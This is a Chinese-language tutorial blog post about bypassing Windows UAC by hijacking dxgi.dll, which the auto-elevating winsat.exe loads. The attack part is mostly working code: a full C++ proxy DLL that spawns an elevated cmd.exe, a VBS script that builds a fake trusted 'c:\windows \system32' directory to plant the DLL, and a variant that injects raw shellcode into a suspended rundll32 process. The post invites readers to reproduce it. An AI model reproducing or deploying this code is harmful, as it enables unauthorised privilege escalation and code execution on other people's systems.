0

0

bypassUAC && DLL劫持

蓮花仙者

蓮花仙者

发布时间:2025-08-28 11:12:33

|

364人浏览过

|

来源于php中文网

原创

0x11 uac简介

用户账户控制(User Account Control,简称UAC)是微软公司在Windows Vista及更高版本操作系统中引入的一种安全机制。其目的是通过提示用户授权应用程序访问硬盘驱动器和系统文件,来防止恶意软件损害系统。

UAC需要授权的操作包括:

  1. 配置Windows Update
  2. 添加或删除用户账户
  3. 更改用户账户类型
  4. 更改UAC设置
  5. 安装ActiveX控件
  6. 安装或卸载程序
  7. 安装设备驱动程序
  8. 设置家长控制
  9. 将文件移动或复制到Program Files或Windows目录
  10. 查看其他用户的文件夹

效果如下:

bypassUAC && DLL劫持

UAC设置有不同的级别,具体设置如下:

bypassUAC && DLL劫持

为什么有些应用程序不需要UAC提示?

简单来说,因为这些应用程序可以自动提升权限(autoElevate)。这也是常见的UAC绕过方法之一。常见方法包括:

  1. 白名单提权机制 - autoElevate
  2. DLL劫持
  3. 利用Windows自身漏洞提权
  4. 远程注入
  5. COM接口技术

具有autoElevate属性的应用程序在启动时会自动以管理员身份运行。这些应用程序通常具有微软的数字签名,被认为是可信的。如果我们通过COM技术或DLL劫持这些应用程序,也能获得管理员权限,但这需要较高的分析成本和技术难度。

0x12 BypassUAC

接下来,我们将寻找具有autoElevate权限的应用程序,并通过DLL劫持来绕过UAC。关于DLL劫持的原理,网上已有许多相关的文章,这里不再赘述。

首先,使用以下命令查找具有autoElevate属性的可执行文件:

strings.exe -s *.exe | findstr /i autoelevate

bypassUAC && DLL劫持

我们选择了winsat.exe作为目标劫持程序。查看该程序加载的DLL,发现其会加载dxgi.dll。

bypassUAC && DLL劫持

下面是我们编写的DLL劫持代码,原理如下图所示(图源自国外):

bypassUAC && DLL劫持

可以通过dllexp查看DLL内的函数:

万兴喵影
万兴喵影

国产剪辑神器

下载

bypassUAC && DLL劫持

你可以自行编写所需的DLL,也可以使用自动化工具生成。经过多次尝试和团队wlpz师傅的指导,我们最终的目标是通过DLL劫持运行cmd.exe,主要代码如下:

# include "pch.h"
#include 
#include 
#pragma comment(lib, "Wtsapi32.lib")
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl

EXTERNC { FARPROC Hijack_ApplyCompatResolutionQuirking; FARPROC Hijack_CompatString; FARPROC Hijack_CompatValue; FARPROC Hijack_CreateDXGIFactory; FARPROC Hijack_CreateDXGIFactory1; FARPROC Hijack_CreateDXGIFactory2; FARPROC Hijack_DXGID3D10CreateDevice; FARPROC Hijack_DXGID3D10CreateLayeredDevice; FARPROC Hijack_DXGID3D10GetLayeredDeviceSize; FARPROC Hijack_DXGID3D10RegisterLayers; FARPROC Hijack_DXGIDeclareAdapterRemovalSupport; FARPROC Hijack_DXGIDumpJournal; FARPROC Hijack_DXGIGetDebugInterface1; FARPROC Hijack_DXGIReportAdapterConfiguration; FARPROC Hijack_PIXBeginCapture; FARPROC Hijack_PIXEndCapture; FARPROC Hijack_PIXGetCaptureState; FARPROC Hijack_SetAppCompatStringPointer; FARPROC Hijack_UpdateHMDEmulationStatus; }

namespace DLLHijacker{ HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load(){ TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("dxgi")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName){ FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; } }

using namespace DLLHijacker;

void StartProcess(){ STARTUPINFO startInfo = { 0 }; PROCESS_INFORMATION procInfo = { 0 }; WCHAR cmdline[] = L"cmd.exe";

CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);

}

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking"); Hijack_CompatString = GetAddress("CompatString"); Hijack_CompatValue = GetAddress("CompatValue"); Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory"); Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1"); Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2"); Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice"); Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice"); Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize"); Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers"); Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport"); Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal"); Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1"); Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration"); Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture"); Hijack_PIXEndCapture = GetAddress("PIXEndCapture"); Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState"); Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer"); Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");

        StartProcess();
    }
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
    break;
}
return TRUE;

}

然而,我们遇到了一个问题:系统的DLL通常需要权限才能更改或移动。为了解决这个问题,我们找到了一个VBS脚本,可以帮助我们完成操作,代码如下:

Set oFSO = CreateObject("Scripting.FileSystemObject")
Set wshshell = wscript.createobject("WScript.Shell")

' Get target binary and payload WScript.StdOut.Write("System32 binary: ") strBinary = WScript.StdIn.ReadLine() WScript.StdOut.Write("Path to your DLL: ") strDLL = WScript.StdIn.ReadLine()

' Create folders Const target = "c:\windows " target_sys32 = (target & "system32\") target_binary = (target_sys32 & strBinary)

If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If

' Copy legit binary and evil DLL oFSO.CopyFile ("c:\windows\system32\" & strBinary), target_binary oFSO.CopyFile strDLL, target_sys32

' Run, Forrest, Run! wshshell.Run("""" & target_binary & """")

' Clean files WScript.StdOut.Write("Clean up? (press enter to continue)") WScript.StdIn.ReadLine() wshshell.Run("powershell /c ""rm -r """"\?\" & target & """""""")

最终效果如下:

bypassUAC && DLL劫持

如果需要加载shellcode,可以修改其中的函数,例如如下所示:

void StartProcess(){
unsigned char shellcode_calc[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
TCHAR CommandLine[] = TEXT("c:\windows\system32\rundll32.exe");
CONTEXT Context;
struct _STARTUPINFOA StartupInfo;
struct _PROCESS_INFORMATION ProcessInformation;
LPVOID lpBaseAddress;

ZeroMemory(&StartupInfo, sizeof(StartupInfo)); StartupInfo.cb = 104; if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) { Context.ContextFlags = 1048579; GetThreadContext(ProcessInformation.hThread, &Context); lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u); WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0); Context.Rip = (DWORD64)lpBaseAddress; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); } }

最后,学习该方法时,我们发现作者整理了一份可劫持的系统表,地址如下:

https://www.php.cn/link/8500107a87fb6519162b221f50d23acf

bypassUAC && DLL劫持

有兴趣的可以尝试复现。

参考文章:

https://www.php.cn/link/60ca0083f9f3c57b8a91c3022d460c55

https://www.php.cn/link/2ea4096fb5cd947a1aeead6447a922a6

https://www.php.cn/link/eac53e141058c06737f091776b2e5462

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
if什么意思
if什么意思

if的意思是“如果”的条件。它是一个用于引导条件语句的关键词,用于根据特定条件的真假情况来执行不同的代码块。本专题提供if什么意思的相关文章,供大家免费阅读。

783

2023.08.22

switch语句用法
switch语句用法

switch语句用法:1、Switch语句只能用于整数类型,枚举类型和String类型,不能用于浮点数类型和布尔类型;2、每个case语句后面必须跟着一个break语句,以防止执行其他case的代码块,没有break语句,将会继续执行下一个case的代码块;3、可以在一个case语句中匹配多个值,使用逗号分隔;4、Switch语句中的default代码块是可选的等等。

543

2023.09.21

Java switch的用法
Java switch的用法

Java中的switch语句用于根据不同的条件执行不同的代码块。想了解更多switch的相关内容,可以阅读本专题下面的文章。

423

2024.03.13

switch语句用法
switch语句用法

switch语句用法:1、Switch语句只能用于整数类型,枚举类型和String类型,不能用于浮点数类型和布尔类型;2、每个case语句后面必须跟着一个break语句,以防止执行其他case的代码块,没有break语句,将会继续执行下一个case的代码块;3、可以在一个case语句中匹配多个值,使用逗号分隔;4、Switch语句中的default代码块是可选的等等。

543

2023.09.21

Java switch的用法
Java switch的用法

Java中的switch语句用于根据不同的条件执行不同的代码块。想了解更多switch的相关内容,可以阅读本专题下面的文章。

423

2024.03.13

硬盘接口类型介绍
硬盘接口类型介绍

硬盘接口类型有IDE、SATA、SCSI、Fibre Channel、USB、eSATA、mSATA、PCIe等等。详细介绍:1、IDE接口是一种并行接口,主要用于连接硬盘和光驱等设备,它主要有两种类型:ATA和ATAPI,IDE接口已经逐渐被SATA接口;2、SATA接口是一种串行接口,相较于IDE接口,它具有更高的传输速度、更低的功耗和更小的体积;3、SCSI接口等等。

1179

2023.10.19

PHP接口编写教程
PHP接口编写教程

本专题整合了PHP接口编写教程,阅读专题下面的文章了解更多详细内容。

215

2025.10.17

php8.4实现接口限流的教程
php8.4实现接口限流的教程

PHP8.4本身不内置限流功能,需借助Redis(令牌桶)或Swoole(漏桶)实现;文件锁因I/O瓶颈、无跨机共享、秒级精度等缺陷不适用高并发场景。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2088

2025.12.29

2026赚钱平台入口大全
2026赚钱平台入口大全

2026年最新赚钱平台入口汇总,涵盖任务众包、内容创作、电商运营、技能变现等多类正规渠道,助你轻松开启副业增收之路。阅读专题下面的文章了解更多详细内容。

54

2026.01.31

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 5.1万人学习

国外Web开发全栈课程全集
国外Web开发全栈课程全集

共12课时 | 1.0万人学习

微信小程序开发之API篇
微信小程序开发之API篇

共15课时 | 1.3万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号